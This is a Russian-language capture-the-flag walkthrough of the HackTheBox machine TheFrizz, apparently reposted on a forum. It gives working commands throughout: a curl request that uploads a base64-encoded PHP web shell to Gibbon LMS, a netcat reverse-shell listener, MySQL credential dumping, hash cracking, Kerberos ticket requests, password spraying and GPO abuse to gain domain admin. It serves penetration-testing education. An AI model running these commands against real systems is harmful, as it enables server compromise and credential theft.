stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как эксплуатировать несложную веб‑уязвимость в системе удаленного обучения Gibbon, работающей на Windows. Получив возможность удаленного выполнения кода в системе, мы извлечем из базы данных учетки пользователей и полностью захватим сервер.
Наша конечная цель — получение прав суперпользователя на машине TheFrizz с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — средний.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
Главная страница сайта
Содержимое страницы Welcome
Внизу страницы находим название и версию движка сайта — Gibbon v25.0.00. Первым делом стоит проверить, есть ли для нее уязвимости. Проще всего — поискать в Google.
Поиск эксплоитов в Google
Из результатов узнаем, что Gibbon до версии v25.0.01 уязвим к Для просмотра ссылки Войдиили Зарегистрируйся. Суть уязвимости заключается в том, что неавторизованный пользователь может загружать произвольные файлы на сервер, а это позволяет получить удаленное выполнение кода через загрузку PHP-шелла. Следующим запросом загрузим PHP-шелл asdf.php в каталог Gibbon.
Теперь обратимся к загруженному веб‑шеллу для выполнения команды whoami.
Результат выполнения whoami
Запустим на своем хосте листенер:
Теперь загрузим со своего веб‑сервера на удаленный хост netcat и выполним реверс‑шелл.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Сессия пользователя w.webservice
Содержимое файла config.php
Подключимся к СУБД и просмотрим существующие базы данных.
Базы данных
Нам нужна база gibbon. Просмотрим в ней таблицы и найдем ту, в которой хранятся учетные данные пользователей CMS.
Таблицы в базе gibbon
Просмотрим описание таблицы gibbonperson и прикинем, какие столбцы могут содержать что‑то интересное.
Описание таблицы gibbonperson
Из этой таблицы мы можем получить имена пользователей, хеши паролей и соли.
Содержимое таблицы gibbonperson
Хеши можно перебрать, чтобы найти пароли. Для брута будем использовать hashcat в режиме SHA-256 + salt (-m 1420).
Результат подбора пароля
При попытке подключиться по SSH получаем ошибку: протокол аутентификации не поддерживается.
Ошибка подключения по SSH
Попробуем подключиться с использованием аутентификации Kerberos. Для этого внесем изменение в файл /etc/krb5.conf.
Запросим билет Kerberos с помощью скрипта getTGT из пакета Impacket.
Получение TGT-билета
Теперь с полученным тикетом авторизуемся по SSH.
Флаг пользователя
Содержимое корзины пользователя
В корзине находим два архива 7z, которые сначала переместим в промежуточный каталог, а затем скопируем по SSH на свою систему.
Разархивируем скачанные архивы и поищем в них интересные строки — например, passw.
Поиск подстроки passw
В файле conf/waptserver.ini находим закодированный в Base64 пароль.
Содержимое файла waptserver.ini
Декодированный пароль
Составим список пользователей. Запросить его можно по LDAP с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Пользователи домена
Спреим найденный пароль по полученным учетным записям и компрометируем учетку M.SchoolBus.
Результат подбора учетных данных
По старой схеме запрашиваем тикет пользователя M.SchoolBus и авторизуемся по SSH.
Получение TGT-билета
Информация о пользователе
Создание объекта GPO
Теперь созданный объект нужно связать с подразделением, на которое распространяется групповая политика. Мы будем использовать подразделение контроллеров домена Domain Controllers.
Привязка объекта GPO
Теперь используем скрипт Для просмотра ссылки Войдиили Зарегистрируйся для изменения самого GPO. Наша групповая политика будет добавлять пользователя M.SchoolBus в локальную группу администраторов.
Изменение объекта GPO
Когда все готово, нужно просто обновить групповые политики на хосте.
Обновление групповых политик
Теперь пользователь станет локальным администратором на контроллере домена, а значит, мы сможем запросить его билет TGT и получить сессию через PsExec.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине TheFrizz с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:И запускаем сканирование портов.10.10.11.60 thefrizz.htb
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел 13 открытых портов:
- 22 — OpenSSH;
- 80 (HTTP) — веб‑сервер Apache 2.4.58;
- 88 — Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC);
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 9389 — веб‑службы AD DS.
10.10.11.60 thefrizz.htb frizzdc.frizz.htb frizz.htb

Точка входа
На странице Welcome находим уведомление, в котором сказано о переходе на протоколы аутентификации Azure Active Directory и Kerberos.
Внизу страницы находим название и версию движка сайта — Gibbon v25.0.00. Первым делом стоит проверить, есть ли для нее уязвимости. Проще всего — поискать в Google.

Из результатов узнаем, что Gibbon до версии v25.0.01 уязвим к Для просмотра ссылки Войди
curl -X POST '[URL]http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php[/URL]' -H 'Host: frizzdc.frizz.htb' --data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8+" -d 'path=asdf.php' -d 'gibbonPersonID=0000000001'
Теперь обратимся к загруженному веб‑шеллу для выполнения команды whoami.
curl '[URL]http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=whoami[/URL]'

Запустим на своем хосте листенер:
rlwrap nc -nlvp 4321
Теперь загрузим со своего веб‑сервера на удаленный хост netcat и выполним реверс‑шелл.
Для просмотра ссылки Войди
Для просмотра ссылки Войди

Точка опоры
Так как мы работаем от имени учетной записи веб‑сервера, первым делом проверим файлы с настройками сайта — в надежде найти какие‑нибудь учетные данные. В файле config.php находим логин и пароль для подключения к базе данных.
Подключимся к СУБД и просмотрим существующие базы данных.
mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -se "show databases;"

Нам нужна база gibbon. Просмотрим в ней таблицы и найдем ту, в которой хранятся учетные данные пользователей CMS.
mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -se "use gibbon;show tables;"

Просмотрим описание таблицы gibbonperson и прикинем, какие столбцы могут содержать что‑то интересное.
mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -se "use gibbon;desc gibbonperson;"

Из этой таблицы мы можем получить имена пользователей, хеши паролей и соли.
mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "use gibbon;select username,passwordStrong,passwordStrongSalt from gibbonperson;"

Хеши можно перебрать, чтобы найти пароли. Для брута будем использовать hashcat в режиме SHA-256 + salt (-m 1420).
hashcat -m 1420 hash.txt rockyou.txt

При попытке подключиться по SSH получаем ошибку: протокол аутентификации не поддерживается.

Попробуем подключиться с использованием аутентификации Kerberos. Для этого внесем изменение в файл /etc/krb5.conf.
Код:
[libdefaults]
default_realm = FRIZZ.HTB
[realms]
FRIZZ.HTB = {
kdc = frizz.htb
}
[domain_realm]
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB
Запросим билет Kerberos с помощью скрипта getTGT из пакета Impacket.
faketime -f "+7h" getTGT.py frizz.htb/f.frizzle:Jenni_Luvs_Magic23 -dc-ip 10.10.11.60

Теперь с полученным тикетом авторизуемся по SSH.
KRB5CCNAME=f.frizzle.ccache faketime -f "+7h" ssh [EMAIL]f.frizzle@frizz.htb[/EMAIL] -K

Продвижение
В рабочем окружении пользователя ничего интересного нет, на диске С тоже. Но всегда стоит проверять корзину пользователей в каталоге C:\$RECYCLE.BIN\<SID>.
В корзине находим два архива 7z, которые сначала переместим в промежуточный каталог, а затем скопируем по SSH на свою систему.
Код:
KRB5CCNAME=f.frizzle.ccache faketime -f "+7h" scp -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes f.frizzle@frizz.htb:/C:/Windows/Tasks/1.7z ./
KRB5CCNAME=f.frizzle.ccache faketime -f "+7h" scp -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes f.frizzle@frizz.htb:/C:/Windows/Tasks/2.7z ./
Разархивируем скачанные архивы и поищем в них интересные строки — например, passw.

В файле conf/waptserver.ini находим закодированный в Base64 пароль.


Составим список пользователей. Запросить его можно по LDAP с помощью Для просмотра ссылки Войди
KRB5CCNAME=f.frizzle.ccache faketime -f "+7h" nxc ldap FRIZZDC.frizz.htb -u f.frizzle -k --use-kcache --users

Спреим найденный пароль по полученным учетным записям и компрометируем учетку M.SchoolBus.
faketime -f "+7h" nxc ldap FRIZZDC.frizz.htb -u users.txt -p '!suBcig@MehTed!R' -k --continue-on-success

По старой схеме запрашиваем тикет пользователя M.SchoolBus и авторизуемся по SSH.
faketime -f "+7h" getTGT.py 'frizz.htb/M.SchoolBus:!suBcig@MehTed!R' -dc-ip 10.10.11.60

KRB5CCNAME=M.SchoolBus.ccache faketime -f "+7h" ssh [EMAIL]M.SchoolBus@frizz.htb[/EMAIL] -K

Локальное повышение привилегий
Пользователь состоит в группе Group Policy Creator Owners. Это дает нам право создать объект групповой политики, а затем настроить для выполнения нужных нам действий, например для добавления любой учетной записи в группу администраторов. Начнем с создания объекта групповой политики (GPO) evil.New-GPO -Name evil

Теперь созданный объект нужно связать с подразделением, на которое распространяется групповая политика. Мы будем использовать подразделение контроллеров домена Domain Controllers.
New-GPLink -Name evil -Target "OU=Domain Controllers,DC=frizz,DC=htb"

Теперь используем скрипт Для просмотра ссылки Войди
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName evil

Когда все готово, нужно просто обновить групповые политики на хосте.
gpupdate /force

Теперь пользователь станет локальным администратором на контроллере домена, а значит, мы сможем запросить его билет TGT и получить сессию через PsExec.
Код:
faketime -f "+7h" getTGT.py 'frizz.htb/M.SchoolBus:!suBcig@MehTed!R' -dc-ip 10.10.11.60
KRB5CCNAME=M.SchoolBus.ccache faketime -f "+7h" psexec.py 'frizz.htb/M.SchoolBus:!suBcig@MehTed!R'@FRIZZDC.frizz.htb -k -no-pass

Машина захвачена!